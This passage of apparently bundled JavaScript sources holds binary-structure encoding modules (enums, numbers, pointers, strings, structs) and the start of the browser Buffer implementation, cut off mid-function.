}\r\n}\r\n\r\nmodule.exports = EncodeStream;\r\n","class Enum {\r\n constructor(type, options = []) {\r\n this.type = type;\r\n this.options = options;\r\n }\r\n decode(stream) {\r\n const index = this.type.decode(stream);\r\n return this.options[index] || index;\r\n }\r\n\r\n size() {\r\n return this.type.size();\r\n }\r\n\r\n encode(stream, val) {\r\n const index = this.options.indexOf(val);\r\n if (index === -1) {\r\n throw new Error(`Unknown option in enum: ${val}`);\r\n }\r\n\r\n return this.type.encode(stream, index);\r\n }\r\n}\r\n\r\nmodule.exports = Enum;\r\n","const ArrayT = require('./Array');\r\nconst {Number:NumberT} = require('./Number');\r\nconst utils = require('./utils');\r\nconst {inspect} = require('util');\r\n\r\nclass LazyArrayT extends ArrayT {\r\n decode(stream, parent) {\r\n const { pos } = stream;\r\n const length = utils.resolveLength(this.length, stream, parent);\r\n\r\n if (this.length instanceof NumberT) {\r\n parent = {\r\n parent,\r\n _startOffset: pos,\r\n _currentOffset: 0,\r\n _length: length\r\n };\r\n }\r\n\r\n const res = new LazyArray(this.type, length, stream, parent);\r\n\r\n stream.pos += length * this.type.size(null, parent);\r\n return res;\r\n }\r\n\r\n size(val, ctx) {\r\n if (val instanceof LazyArray) {\r\n val = val.toArray();\r\n }\r\n\r\n return super.size(val, ctx);\r\n }\r\n\r\n encode(stream, val, ctx) {\r\n if (val instanceof LazyArray) {\r\n val = val.toArray();\r\n }\r\n\r\n return super.encode(stream, val, ctx);\r\n }\r\n}\r\n\r\nclass LazyArray {\r\n constructor(type, length, stream, ctx) {\r\n this.type = type;\r\n this.length = length;\r\n this.stream = stream;\r\n this.ctx = ctx;\r\n this.base = this.stream.pos;\r\n this.items = [];\r\n }\r\n\r\n get(index) {\r\n if ((index < 0) || (index >= this.length)) {\r\n return undefined;\r\n }\r\n\r\n if (this.items[index] == null) {\r\n const { pos } = this.stream;\r\n this.stream.pos = this.base + (this.type.size(null, this.ctx) * index);\r\n this.items[index] = this.type.decode(this.stream, this.ctx);\r\n this.stream.pos = pos;\r\n }\r\n\r\n return this.items[index];\r\n }\r\n\r\n toArray() {\r\n const result = [];\r\n for (let i = 0, end = this.length; i < end; i++) {\r\n result.push(this.get(i));\r\n }\r\n return result;\r\n }\r\n\r\n inspect() {\r\n return inspect(this.toArray());\r\n }\r\n}\r\n\r\nmodule.exports = LazyArrayT;\r\n","const DecodeStream = require('./DecodeStream');\r\n\r\nclass NumberT {\r\n constructor(type, endian = 'BE') {\r\n this.type = type;\r\n this.endian = endian;\r\n this.fn = this.type;\r\n if (this.type[this.type.length - 1] !== '8') {\r\n this.fn += this.endian;\r\n }\r\n }\r\n\r\n size() {\r\n return DecodeStream.TYPES[this.type];\r\n }\r\n\r\n decode(stream) {\r\n return stream[`read${this.fn}`]();\r\n }\r\n\r\n encode(stream, val) {\r\n return stream[`write${this.fn}`](val);\r\n }\r\n}\r\n\r\nexports.Number = NumberT;\r\nexports.uint8 = new NumberT('UInt8');\r\nexports.uint16be = (exports.uint16 = new NumberT('UInt16', 'BE'));\r\nexports.uint16le = new NumberT('UInt16', 'LE');\r\nexports.uint24be = (exports.uint24 = new NumberT('UInt24', 'BE'));\r\nexports.uint24le = new NumberT('UInt24', 'LE');\r\nexports.uint32be = (exports.uint32 = new NumberT('UInt32', 'BE'));\r\nexports.uint32le = new NumberT('UInt32', 'LE');\r\nexports.int8 = new NumberT('Int8');\r\nexports.int16be = (exports.int16 = new NumberT('Int16', 'BE'));\r\nexports.int16le = new NumberT('Int16', 'LE');\r\nexports.int24be = (exports.int24 = new NumberT('Int24', 'BE'));\r\nexports.int24le = new NumberT('Int24', 'LE');\r\nexports.int32be = (exports.int32 = new NumberT('Int32', 'BE'));\r\nexports.int32le = new NumberT('Int32', 'LE');\r\nexports.floatbe = (exports.float = new NumberT('Float', 'BE'));\r\nexports.floatle = new NumberT('Float', 'LE');\r\nexports.doublebe = (exports.double = new NumberT('Double', 'BE'));\r\nexports.doublele = new NumberT('Double', 'LE');\r\n\r\nclass Fixed extends NumberT {\r\n constructor(size, endian, fracBits = size >> 1) {\r\n super(`Int${size}`, endian);\r\n this._point = 1 << fracBits;\r\n }\r\n\r\n decode(stream) {\r\n return super.decode(stream) / this._point;\r\n }\r\n\r\n encode(stream, val) {\r\n return super.encode(stream, (val * this._point) | 0);\r\n }\r\n}\r\n\r\nexports.Fixed = Fixed;\r\nexports.fixed16be = (exports.fixed16 = new Fixed(16, 'BE'));\r\nexports.fixed16le = new Fixed(16, 'LE');\r\nexports.fixed32be = (exports.fixed32 =new Fixed(32, 'BE'));\r\nexports.fixed32le = new Fixed(32, 'LE');\r\n","class Optional {\r\n constructor(type, condition = true) {\r\n this.type = type;\r\n this.condition = condition;\r\n }\r\n\r\n decode(stream, parent) {\r\n let { condition } = this;\r\n if (typeof condition === 'function') {\r\n condition = condition.call(parent, parent);\r\n }\r\n\r\n if (condition) {\r\n return this.type.decode(stream, parent);\r\n }\r\n }\r\n\r\n size(val, parent) {\r\n let { condition } = this;\r\n if (typeof condition === 'function') {\r\n condition = condition.call(parent, parent);\r\n }\r\n\r\n if (condition) {\r\n return this.type.size(val, parent);\r\n } else {\r\n return 0;\r\n }\r\n }\r\n\r\n encode(stream, val, parent) {\r\n let { condition } = this;\r\n if (typeof condition === 'function') {\r\n condition = condition.call(parent, parent);\r\n }\r\n\r\n if (condition) {\r\n return this.type.encode(stream, val, parent);\r\n }\r\n }\r\n}\r\n\r\nmodule.exports = Optional;\r\n","const utils = require('./utils');\r\n\r\nclass Pointer {\r\n constructor(offsetType, type, options = {}) {\r\n this.offsetType = offsetType;\r\n this.type = type;\r\n this.options = options;\r\n if (this.type === 'void') { this.type = null; }\r\n if (this.options.type == null) { this.options.type = 'local'; }\r\n if (this.options.allowNull == null) { this.options.allowNull = true; }\r\n if (this.options.nullValue == null) { this.options.nullValue = 0; }\r\n if (this.options.lazy == null) { this.options.lazy = false; }\r\n if (this.options.relativeTo) {\r\n if (typeof this.options.relativeTo !== 'function') {\r\n throw new Error('relativeTo option must be a function');\r\n }\r\n this.relativeToGetter = options.relativeTo;\r\n }\r\n }\r\n\r\n decode(stream, ctx) {\r\n const offset = this.offsetType.decode(stream, ctx);\r\n\r\n // handle NULL pointers\r\n if ((offset === this.options.nullValue) && this.options.allowNull) {\r\n return null;\r\n }\r\n\r\n let relative;\r\n switch (this.options.type) {\r\n case 'local': relative = ctx._startOffset; break;\r\n case 'immediate': relative = stream.pos - this.offsetType.size(); break;\r\n case 'parent': relative = ctx.parent._startOffset; break;\r\n default:\r\n var c = ctx;\r\n while (c.parent) {\r\n c = c.parent;\r\n }\r\n\r\n relative = c._startOffset || 0;\r\n }\r\n\r\n if (this.options.relativeTo) {\r\n relative += this.relativeToGetter(ctx);\r\n }\r\n\r\n const ptr = offset + relative;\r\n\r\n if (this.type != null) {\r\n let val = null;\r\n const decodeValue = () => {\r\n if (val != null) { return val; }\r\n\r\n const { pos } = stream;\r\n stream.pos = ptr;\r\n val = this.type.decode(stream, ctx);\r\n stream.pos = pos;\r\n return val;\r\n };\r\n\r\n // If this is a lazy pointer, define a getter to decode only when needed.\r\n // This obviously only works when the pointer is contained by a Struct.\r\n if (this.options.lazy) {\r\n return new utils.PropertyDescriptor({\r\n get: decodeValue});\r\n }\r\n\r\n return decodeValue();\r\n } else {\r\n return ptr;\r\n }\r\n }\r\n\r\n size(val, ctx) {\r\n const parent = ctx;\r\n switch (this.options.type) {\r\n case 'local': case 'immediate':\r\n break;\r\n case 'parent':\r\n ctx = ctx.parent;\r\n break;\r\n default: // global\r\n while (ctx.parent) {\r\n ctx = ctx.parent;\r\n }\r\n }\r\n\r\n let { type } = this;\r\n if (type == null) {\r\n if (!(val instanceof VoidPointer)) {\r\n throw new Error(\"Must be a VoidPointer\");\r\n }\r\n\r\n ({ type } = val);\r\n val = val.value;\r\n }\r\n\r\n if (val && ctx) {\r\n ctx.pointerSize += type.size(val, parent);\r\n }\r\n\r\n return this.offsetType.size();\r\n }\r\n\r\n encode(stream, val, ctx) {\r\n let relative;\r\n const parent = ctx;\r\n if ((val == null)) {\r\n this.offsetType.encode(stream, this.options.nullValue);\r\n return;\r\n }\r\n\r\n switch (this.options.type) {\r\n case 'local':\r\n relative = ctx.startOffset;\r\n break;\r\n case 'immediate':\r\n relative = stream.pos + this.offsetType.size(val, parent);\r\n break;\r\n case 'parent':\r\n ctx = ctx.parent;\r\n relative = ctx.startOffset;\r\n break;\r\n default: // global\r\n relative = 0;\r\n while (ctx.parent) {\r\n ctx = ctx.parent;\r\n }\r\n }\r\n\r\n if (this.options.relativeTo) {\r\n relative += this.relativeToGetter(parent.val);\r\n }\r\n\r\n this.offsetType.encode(stream, ctx.pointerOffset - relative);\r\n\r\n let { type } = this;\r\n if (type == null) {\r\n if (!(val instanceof VoidPointer)) {\r\n throw new Error(\"Must be a VoidPointer\");\r\n }\r\n\r\n ({ type } = val);\r\n val = val.value;\r\n }\r\n\r\n ctx.pointers.push({\r\n type,\r\n val,\r\n parent\r\n });\r\n\r\n return ctx.pointerOffset += type.size(val, parent);\r\n }\r\n}\r\n\r\n// A pointer whose type is determined at decode time\r\nclass VoidPointer {\r\n constructor(type, value) {\r\n this.type = type;\r\n this.value = value;\r\n }\r\n}\r\n\r\nexports.Pointer = Pointer;\r\nexports.VoidPointer = VoidPointer;\r\n","const utils = require('./utils');\r\n\r\nclass Reserved {\r\n constructor(type, count = 1) {\r\n this.type = type;\r\n this.count = count;\r\n }\r\n decode(stream, parent) {\r\n stream.pos += this.size(null, parent);\r\n return undefined;\r\n }\r\n\r\n size(data, parent) {\r\n const count = utils.resolveLength(this.count, null, parent);\r\n return this.type.size() * count;\r\n }\r\n\r\n encode(stream, val, parent) {\r\n return stream.fill(0, this.size(val, parent));\r\n }\r\n}\r\n\r\nmodule.exports = Reserved;\r\n","const {Number:NumberT} = require('./Number');\r\nconst utils = require('./utils');\r\n\r\nclass StringT {\r\n constructor(length, encoding = 'ascii') {\r\n this.length = length;\r\n this.encoding = encoding;\r\n }\r\n\r\n decode(stream, parent) {\r\n let length, pos;\r\n\r\n if (this.length != null) {\r\n length = utils.resolveLength(this.length, stream, parent);\r\n } else {\r\n let buffer;\r\n ({buffer, length, pos} = stream);\r\n\r\n while ((pos < length) && (buffer[pos] !== 0x00)) {\r\n ++pos;\r\n }\r\n\r\n length = pos - stream.pos;\r\n }\r\n\r\n let { encoding } = this;\r\n if (typeof encoding === 'function') {\r\n encoding = encoding.call(parent, parent) || 'ascii';\r\n }\r\n\r\n const string = stream.readString(length, encoding);\r\n\r\n if ((this.length == null) && (stream.pos < stream.length)) {\r\n stream.pos++;\r\n }\r\n\r\n return string;\r\n }\r\n\r\n size(val, parent) {\r\n // Use the defined value if no value was given\r\n if (!val) {\r\n return utils.resolveLength(this.length, null, parent);\r\n }\r\n\r\n let { encoding } = this;\r\n if (typeof encoding === 'function') {\r\n encoding = encoding.call(parent != null ? parent.val : undefined, parent != null ? parent.val : undefined) || 'ascii';\r\n }\r\n\r\n if (encoding === 'utf16be') {\r\n encoding = 'utf16le';\r\n }\r\n\r\n let size = Buffer.byteLength(val, encoding);\r\n if (this.length instanceof NumberT) {\r\n size += this.length.size();\r\n }\r\n\r\n if ((this.length == null)) {\r\n size++;\r\n }\r\n\r\n return size;\r\n }\r\n\r\n encode(stream, val, parent) {\r\n let { encoding } = this;\r\n if (typeof encoding === 'function') {\r\n encoding = encoding.call(parent != null ? parent.val : undefined, parent != null ? parent.val : undefined) || 'ascii';\r\n }\r\n\r\n if (this.length instanceof NumberT) {\r\n this.length.encode(stream, Buffer.byteLength(val, encoding));\r\n }\r\n\r\n stream.writeString(val, encoding);\r\n\r\n if ((this.length == null)) {\r\n return stream.writeUInt8(0x00);\r\n }\r\n }\r\n}\r\n\r\nmodule.exports = StringT;\r\n","const utils = require('./utils');\r\n\r\nclass Struct {\r\n constructor(fields = {}) {\r\n this.fields = fields;\r\n }\r\n\r\n decode(stream, parent, length = 0) {\r\n const res = this._setup(stream, parent, length);\r\n this._parseFields(stream, res, this.fields);\r\n\r\n if (this.process != null) {\r\n this.process.call(res, stream);\r\n }\r\n return res;\r\n }\r\n\r\n _setup(stream, parent, length) {\r\n const res = {};\r\n\r\n // define hidden properties\r\n Object.defineProperties(res, {\r\n parent: { value: parent },\r\n _startOffset: { value: stream.pos },\r\n _currentOffset: { value: 0, writable: true },\r\n _length: { value: length }\r\n });\r\n\r\n return res;\r\n }\r\n\r\n _parseFields(stream, res, fields) {\r\n for (let key in fields) {\r\n var val;\r\n const type = fields[key];\r\n if (typeof type === 'function') {\r\n val = type.call(res, res);\r\n } else {\r\n val = type.decode(stream, res);\r\n }\r\n\r\n if (val !== undefined) {\r\n if (val instanceof utils.PropertyDescriptor) {\r\n Object.defineProperty(res, key, val);\r\n } else {\r\n res[key] = val;\r\n }\r\n }\r\n\r\n res._currentOffset = stream.pos - res._startOffset;\r\n }\r\n\r\n }\r\n\r\n size(val, parent, includePointers) {\r\n if (val == null) { val = {}; }\r\n if (includePointers == null) { includePointers = true; }\r\n const ctx = {\r\n parent,\r\n val,\r\n pointerSize: 0\r\n };\r\n\r\n let size = 0;\r\n for (let key in this.fields) {\r\n const type = this.fields[key];\r\n if (type.size != null) {\r\n size += type.size(val[key], ctx);\r\n }\r\n }\r\n\r\n if (includePointers) {\r\n size += ctx.pointerSize;\r\n }\r\n\r\n return size;\r\n }\r\n\r\n encode(stream, val, parent) {\r\n let type;\r\n if (this.preEncode != null) {\r\n this.preEncode.call(val, stream);\r\n }\r\n\r\n const ctx = {\r\n pointers: [],\r\n startOffset: stream.pos,\r\n parent,\r\n val,\r\n pointerSize: 0\r\n };\r\n\r\n ctx.pointerOffset = stream.pos + this.size(val, ctx, false);\r\n\r\n for (let key in this.fields) {\r\n type = this.fields[key];\r\n if (type.encode != null) {\r\n type.encode(stream, val[key], ctx);\r\n }\r\n }\r\n\r\n let i = 0;\r\n while (i < ctx.pointers.length) {\r\n const ptr = ctx.pointers[i++];\r\n ptr.type.encode(stream, ptr.val, ptr.parent);\r\n }\r\n\r\n }\r\n}\r\n\r\nmodule.exports = Struct;\r\n","const Struct = require('./Struct');\r\n\r\nconst getPath = (object, pathArray) => {\r\n return pathArray.reduce((prevObj, key) => prevObj && prevObj[key], object);\r\n};\r\n\r\nclass VersionedStruct extends Struct {\r\n constructor(type, versions = {}) {\r\n super();\r\n this.type = type;\r\n this.versions = versions;\r\n if (typeof type === 'string') {\r\n this.versionPath = type.split('.');\r\n }\r\n }\r\n\r\n decode(stream, parent, length = 0) {\r\n const res = this._setup(stream, parent, length);\r\n\r\n if (typeof this.type === 'string') {\r\n res.version = getPath(parent, this.versionPath);\r\n } else {\r\n res.version = this.type.decode(stream);\r\n }\r\n\r\n if (this.versions.header) {\r\n this._parseFields(stream, res, this.versions.header);\r\n }\r\n\r\n const fields = this.versions[res.version];\r\n if ((fields == null)) {\r\n throw new Error(`Unknown version ${res.version}`);\r\n }\r\n\r\n if (fields instanceof VersionedStruct) {\r\n return fields.decode(stream, parent);\r\n }\r\n\r\n this._parseFields(stream, res, fields);\r\n\r\n if (this.process != null) {\r\n this.process.call(res, stream);\r\n }\r\n return res;\r\n }\r\n\r\n size(val, parent, includePointers = true) {\r\n let key, type;\r\n if (!val) {\r\n throw new Error('Not a fixed size');\r\n }\r\n\r\n const ctx = {\r\n parent,\r\n val,\r\n pointerSize: 0\r\n };\r\n\r\n let size = 0;\r\n if (typeof this.type !== 'string') {\r\n size += this.type.size(val.version, ctx);\r\n }\r\n\r\n if (this.versions.header) {\r\n for (key in this.versions.header) {\r\n type = this.versions.header[key];\r\n if (type.size != null) {\r\n size += type.size(val[key], ctx);\r\n }\r\n }\r\n }\r\n\r\n const fields = this.versions[val.version];\r\n if ((fields == null)) {\r\n throw new Error(`Unknown version ${val.version}`);\r\n }\r\n\r\n for (key in fields) {\r\n type = fields[key];\r\n if (type.size != null) {\r\n size += type.size(val[key], ctx);\r\n }\r\n }\r\n\r\n if (includePointers) {\r\n size += ctx.pointerSize;\r\n }\r\n\r\n return size;\r\n }\r\n\r\n encode(stream, val, parent) {\r\n let key, type;\r\n if (this.preEncode != null) {\r\n this.preEncode.call(val, stream);\r\n }\r\n\r\n const ctx = {\r\n pointers: [],\r\n startOffset: stream.pos,\r\n parent,\r\n val,\r\n pointerSize: 0\r\n };\r\n\r\n ctx.pointerOffset = stream.pos + this.size(val, ctx, false);\r\n\r\n if (typeof this.type !== 'string') {\r\n this.type.encode(stream, val.version);\r\n }\r\n\r\n if (this.versions.header) {\r\n for (key in this.versions.header) {\r\n type = this.versions.header[key];\r\n if (type.encode != null) {\r\n type.encode(stream, val[key], ctx);\r\n }\r\n }\r\n }\r\n\r\n const fields = this.versions[val.version];\r\n for (key in fields) {\r\n type = fields[key];\r\n if (type.encode != null) {\r\n type.encode(stream, val[key], ctx);\r\n }\r\n }\r\n\r\n let i = 0;\r\n while (i < ctx.pointers.length) {\r\n const ptr = ctx.pointers[i++];\r\n ptr.type.encode(stream, ptr.val, ptr.parent);\r\n }\r\n\r\n }\r\n}\r\n\r\nmodule.exports = VersionedStruct;\r\n","const {Number:NumberT} = require('./Number');\r\n\r\nexports.resolveLength = function(length, stream, parent) {\r\n let res;\r\n if (typeof length === 'number') {\r\n res = length;\r\n\r\n } else if (typeof length === 'function') {\r\n res = length.call(parent, parent);\r\n\r\n } else if (parent && (typeof length === 'string')) {\r\n res = parent[length];\r\n\r\n } else if (stream && length instanceof NumberT) {\r\n res = length.decode(stream);\r\n }\r\n\r\n if (isNaN(res)) {\r\n throw new Error('Not a fixed size');\r\n }\r\n\r\n return res;\r\n};\r\n\r\nclass PropertyDescriptor {\r\n constructor(opts = {}) {\r\n this.enumerable = true;\r\n this.configurable = true;\r\n\r\n for (let key in opts) {\r\n const val = opts[key];\r\n this[key] = val;\r\n }\r\n }\r\n}\r\n\r\nexports.PropertyDescriptor = PropertyDescriptor;\r\n","/*!\n * The buffer module from node.js, for the browser.\n *\n * @author Feross Aboukhadijeh \n * @license MIT\n */\n/* eslint-disable no-proto */\n\n'use strict'\n\nconst base64 = require('base64-js')\nconst ieee754 = require('ieee754')\nconst customInspectSymbol =\n (typeof Symbol === 'function' && typeof Symbol['for'] === 'function') // eslint-disable-line dot-notation\n ? Symbol['for']('nodejs.util.inspect.custom') // eslint-disable-line dot-notation\n : null\n\nexports.Buffer = Buffer\nexports.SlowBuffer = SlowBuffer\nexports.INSPECT_MAX_BYTES = 50\n\nconst K_MAX_LENGTH = 0x7fffffff\nexports.kMaxLength = K_MAX_LENGTH\n\n/**\n * If `Buffer.TYPED_ARRAY_SUPPORT`:\n * === true Use Uint8Array implementation (fastest)\n * === false Print warning and recommend using `buffer` v4.x which has an Object\n * implementation (most compatible, even IE6)\n *\n * Browsers that support typed arrays are IE 10+, Firefox 4+, Chrome 7+, Safari 5.1+,\n * Opera 11.6+, iOS 4.2+.\n *\n * We report that the browser does not support typed arrays if the are not subclassable\n * using __proto__. Firefox 4-29 lacks support for adding new properties to `Uint8Array`\n * (See: https://bugzilla.mozilla.org/show_bug.cgi?id=695438). IE 10 lacks support\n * for __proto__ and has a buggy typed array implementation.\n */\nBuffer.TYPED_ARRAY_SUPPORT = typedArraySupport()\n\nif (!Buffer.TYPED_ARRAY_SUPPORT && typeof console !== 'undefined' &&\n typeof console.error === 'function') {\n console.error(\n 'This browser lacks typed array (Uint8Array) support which is required by ' +\n '`buffer` v5.x. Use `buffer` v4.x if you require old browser support.'\n )\n}\n\nfunction typedArraySupport () {\n // Can typed array instances can be augmented?\n try {\n const arr = new Uint8Array(1)\n const proto = { foo: function () { return 42 } }\n Object.setPrototypeOf(proto, Uint8Array.prototype)\n Object.setPrototypeOf(arr, proto)\n return arr.foo() === 42\n } catch (e) {\n return false\n }\n}\n\nObject.defineProperty(Buffer.prototype, 'parent', {\n enumerable: true,\n get: function () {\n if (!Buffer.isBuffer(this)) return undefined\n return this.buffer\n }\n})\n\nObject.defineProperty(Buffer.prototype, 'offset', {\n enumerable: true,\n get: function () {\n if (!Buffer.isBuffer(this)) return undefined\n return this.byteOffset\n }\n})\n\nfunction createBuffer (length) {\n if (length > K_MAX_LENGTH) {\n throw new RangeError('The value \"' + length + '\" is invalid for option \"size\"')\n }\n // Return an augmented `Uint8Array` instance\n const buf = new Uint8Array(length)\n Object.setPrototypeOf(buf, Buffer.prototype)\n return buf\n}\n\n/**\n * The Buffer constructor returns instances of `Uint8Array` that have their\n * prototype changed to `Buffer.prototype`. Furthermore, `Buffer` is a subclass of\n * `Uint8Array`, so the returned instances will have all the node `Buffer` methods\n * and the `Uint8Array` methods. Square bracket notation works as expected -- it\n * returns a single octet.\n *\n * The `Uint8Array` prototype remains unmodified.\n */\n\nfunction Buffer (arg, encodingOrOffset, length) {\n // Common case.\n if (typeof arg === 'number') {\n if (typeof encodingOrOffset === 'string') {\n throw new TypeError(\n 'The \"string\" argument must be of type string. Received type number'\n )\n }\n return allocUnsafe(arg)\n }\n return from(arg, encodingOrOffset, length)\n}\n\nBuffer.poolSize = 8192 // not used by this implementation\n\nfunction from (value, encodingOrOffset, length) {\n if (typeof value === 'string') {\n return fromString(value, encodingOrOffset)\n }\n\n if (ArrayBuffer.isView(value)) {\n return fromArrayView(value)\n }\n\n if (value == null) {\n throw new TypeError(\n 'The first argument must be one of type string, Buffer, ArrayBuffer, Array, ' +\n 'or Array-like Object. Received type ' + (typeof value)\n )\n }\n\n if (isInstance(value, ArrayBuffer) ||\n (value && isInstance(value.buffer, ArrayBuffer))) {\n return fromArrayBuffer(value, encodingOrOffset, length)\n }\n\n if (typeof SharedArrayBuffer !== 'undefined' &&\n (isInstance(value, SharedArrayBuffer) ||\n (value && isInstance(value.buffer, SharedArrayBuffer)))) {\n return fromArrayBuffer(value, encodingOrOffset, length)\n }\n\n if (typeof value === 'number') {\n throw new TypeError(\n 'The \"value\" argument must not be of type number. Received type number'\n )\n }\n\n const valueOf = value.valueOf && value.valueOf()\n if (valueOf != null && valueOf !== value) {\n return Buffer.from(valueOf, encodingOrOffset, length)\n }\n\n const b = fromObject(value)\n if (b) return b\n\n if (typeof Symbol !== 'undefined' && Symbol.toPrimitive != null &&\n typeof value[Symbol.toPrimitive] === 'function') {\n return Buffer.from(value[Symbol.toPrimitive]('string'), encodingOrOffset, length)\n }\n\n throw new TypeError(\n 'The first argument must be one of type string, Buffer, ArrayBuffer, Array, ' +\n 'or Array-like Object. Received type ' + (typeof value)\n )\n}\n\n/**\n * Functionally equivalent to Buffer(arg, encoding) but throws a TypeError\n * if value is a number.\n * Buffer.from(str[, encoding])\n * Buffer.from(array)\n * Buffer.from(buffer)\n * Buffer.from(arrayBuffer[, byteOffset[, length]])\n **/\nBuffer.from = function (value, encodingOrOffset, length) {\n return from(value, encodingOrOffset, length)\n}\n\n// Note: Change prototype *after* Buffer.from is defined to workaround Chrome bug:\n// https://github.com/feross/buffer/pull/148\nObject.setPrototypeOf(Buffer.prototype, Uint8Array.prototype)\nObject.setPrototypeOf(Buffer, Uint8Array)\n\nfunction assertSize (size) {\n if (typeof size !== 'number') {\n throw new TypeError('\"size\" argument must be of type number')\n } else if (size < 0) {\n throw new RangeError('The value \"' + size + '\" is invalid for option \"size\"')\n }\n}\n\nfunction alloc (size, fill, encoding) {\n assertSize(size)\n if (size <= 0) {\n return createBuffer(size)\n }\n if (fill !== undefined) {\n // Only pay attention to encoding if it's a string. This\n // prevents accidentally sending in a number that would\n // be interpreted as a start offset.\n return typeof encoding === 'string'\n ? createBuffer(size).fill(fill, encoding)\n : createBuffer(size).fill(fill)\n }\n return createBuffer(size)\n}\n\n/**\n * Creates a new filled Buffer instance.\n * alloc(size[, fill[, encoding]])\n **/\nBuffer.alloc = function (size, fill, encoding) {\n return alloc(size, fill, encoding)\n}\n\nfunction allocUnsafe (size) {\n assertSize(size)\n return createBuffer(size < 0 ? 0 : checked(size) | 0)\n}\n\n/**\n * Equivalent to Buffer(num), by default creates a non-zero-filled Buffer instance.\n * */\nBuffer.allocUnsafe = function (size) {\n return allocUnsafe(size)\n}\n/**\n * Equivalent to SlowBuffer(num), by default creates a non-zero-filled Buffer instance.\n */\nBuffer.allocUnsafeSlow = function (size) {\n return allocUnsafe(size)\n}\n\nfunction fromString (string, encoding) {\n if (typeof encoding !== 'string' || encoding === '') {\n encoding = 'utf8'\n }\n\n if (!Buffer.isEncoding(encoding)) {\n throw new TypeError('Unknown encoding: ' + encoding)\n }\n\n const length = byteLength(string, encoding) | 0\n let buf = createBuffer(length)\n\n const actual = buf.write(string, encoding)\n\n if (actual !== length) {\n // Writing a hex string, for example, that contains invalid characters will\n // cause everything after the first invalid character to be ignored. (e.g.\n // 'abxxcd' will be treated as 'ab')\n buf = buf.slice(0, actual)\n }\n\n return buf\n}\n\nfunction fromArrayLike (array) {\n const length = array.length < 0 ? 0 : checked(array.length) | 0\n const buf = createBuffer(length)\n for (let i = 0; i < length; i += 1) {\n buf[i] = array[i] & 255\n }\n return buf\n}\n\nfunction fromArrayView (arrayView) {\n if (isInstance(arrayView, Uint8Array)) {\n const copy = new Uint8Array(arrayView)\n return fromArrayBuffer(copy.buffer, copy.byteOffset, copy.byteLength)\n }\n return fromArrayLike(arrayView)\n}\n\nfunction fromArrayBuffer (array, byteOffset, length) {\n if (byteOffset < 0 || array.byteLength < byteOffset) {\n throw new RangeError('\"offset\" is outside of buffer bounds')\n }\n\n if (array.byteLength < byteOffset + (length || 0)) {\n throw new RangeError('\"length\" is outside of buffer bounds')\n }\n\n let buf\n if (byteOffset === undefined && length === undefined) {\n buf = new Uint8Array(array)\n } else if (length === undefined) {\n buf = new Uint8Array(array, byteOffset)\n } else {\n buf = new Uint8Array(array, byteOffset, length)\n }\n\n // Return an augmented `Uint8Array` instance\n Object.setPrototypeOf(buf, Buffer.prototype)\n\n return buf\n}\n\nfunction fromObject (obj) {\n if (Buffer.isBuffer(obj)) {\n const len = checked(obj.length) | 0\n const buf = createBuffer(len)\n\n if (buf.length === 0) {\n return buf\n }\n\n obj.copy(buf, 0, 0, len)\n return buf\n }\n\n if (obj.length !== undefined) {\n if (typeof obj.length !== 'number' || numberIsNaN(obj.length)) {\n return createBuffer(0)\n }\n return fromArrayLike(obj)\n }\n\n if (obj.type === 'Buffer' && Array.isArray(obj.data)) {\n return fromArrayLike(obj.data)\n }\n}\n\nfunction checked (length) {\n // Note: cannot use `length < K_MAX_LENGTH` here because that fails when\n // length is NaN (which is otherwise coerced to zero.)\n if (length >= K_MAX_LENGTH) {\n throw new RangeError('Attempt to allocate Buffer larger than maximum ' +\n 'size: 0x' + K_MAX_LENGTH.toString(16) + ' bytes')\n }\n return length | 0\n}\n\nfunction SlowBuffer (length) {\n if (+length != length) { // eslint-disable-line eqeqeq\n length = 0\n }\n return Buffer.alloc(+length)\n}\n\nBuffer.isBuffer = function isBuffer (b) {\n return b != null && b._isBuffer === true &&\n b !== Buffer.prototype // so Buffer.isBuffer(Buffer.prototype) will be false\n}\n\nBuffer.compare = function compare (a, b) {\n if (isInstance(a, Uint8Array)) a = Buffer.from(a, a.offset, a.byteLength)\n if (isInstance(b, Uint8Array)) b = Buffer.from(b, b.offset, b.byteLength)\n if (!Buffer.isBuffer(a) || !Buffer.isBuffer(b)) {\n throw new TypeError(\n 'The \"buf1\", \"buf2\" arguments must be one of type Buffer or Uint8Array'\n )\n }\n\n if (a === b) return 0\n\n let x = a.length\n let y = b.length\n\n for (let i = 0, len = Math.min(x, y); i < len; ++i) {\n if (a[i] !== b[i]) {\n x = a[i]\n y = b[i]\n break\n }\n }\n\n if (x < y) return -1\n if (y < x) return 1\n return 0\n}\n\nBuffer.isEncoding = function isEncoding (encoding) {\n switch (String(encoding).toLowerCase()) {\n case 'hex':\n case 'utf8':\n case 'utf-8':\n case 'ascii':\n case 'latin1':\n case 'binary':\n case 'base64':\n case 'ucs2':\n case 'ucs-2':\n case 'utf16le':\n case 'utf-16le':\n return true\n default:\n return false\n }\n}\n\nBuffer.concat = function concat (list, length) {\n if (!Array.isArray(list)) {\n throw new TypeError('\"list\" argument must be an Array of Buffers')\n }\n\n if (list.length === 0) {\n return Buffer.alloc(0)\n }\n\n let i\n if (length === undefined) {\n length = 0\n for (i = 0; i < list.length; ++i) {\n length += list[i].length\n }\n }\n\n const buffer = Buffer.allocUnsafe(length)\n let pos = 0\n for (i = 0; i < list.length; ++i) {\n let buf = list[i]\n if (isInstance(buf, Uint8Array)) {\n if (pos + buf.length > buffer.length) {\n if (!Buffer.isBuffer(buf)) buf = Buffer.from(buf)\n buf.copy(buffer, pos)\n } else {\n Uint8Array.prototype.set.call(\n buffer,\n buf,\n pos\n )\n }\n } else if (!Buffer.isBuffer(buf)) {\n throw new TypeError('\"list\" argument must be an Array of Buffers')\n } else {\n buf.copy(buffer, pos)\n }\n pos += buf.length\n }\n return buffer\n}\n\nfunction byteLength (string, encoding) {\n if (Buffer.isBuffer(string)) {\n return string.length\n }\n if (ArrayBuffer.isView(string) || isInstance(string, ArrayBuffer)) {\n return string.byteLength\n }\n if (typeof string !== 'string') {\n throw new TypeError(\n 'The \"string\" argument must be one of type string, Buffer, or ArrayBuffer. ' +\n 'Received type ' + typeof string\n )\n }\n\n const len = string.length\n const mustMatch = (arguments.length > 2 && arguments[2] === true)\n if (!mustMatch && len === 0) return 0\n\n // Use a for loop to avoid recursion\n let loweredCase = false\n for (;;) {\n switch (encoding) {\n case 'ascii':\n case 'latin1':\n case 'binary':\n return len\n case 'utf8':\n case 'utf-8':\n return utf8ToBytes(string).length\n case 'ucs2':\n case 'ucs-2':\n case 'utf16le':\n case 'utf-16le':\n return len * 2\n case 'hex':\n return len >>> 1\n case 'base64':\n return 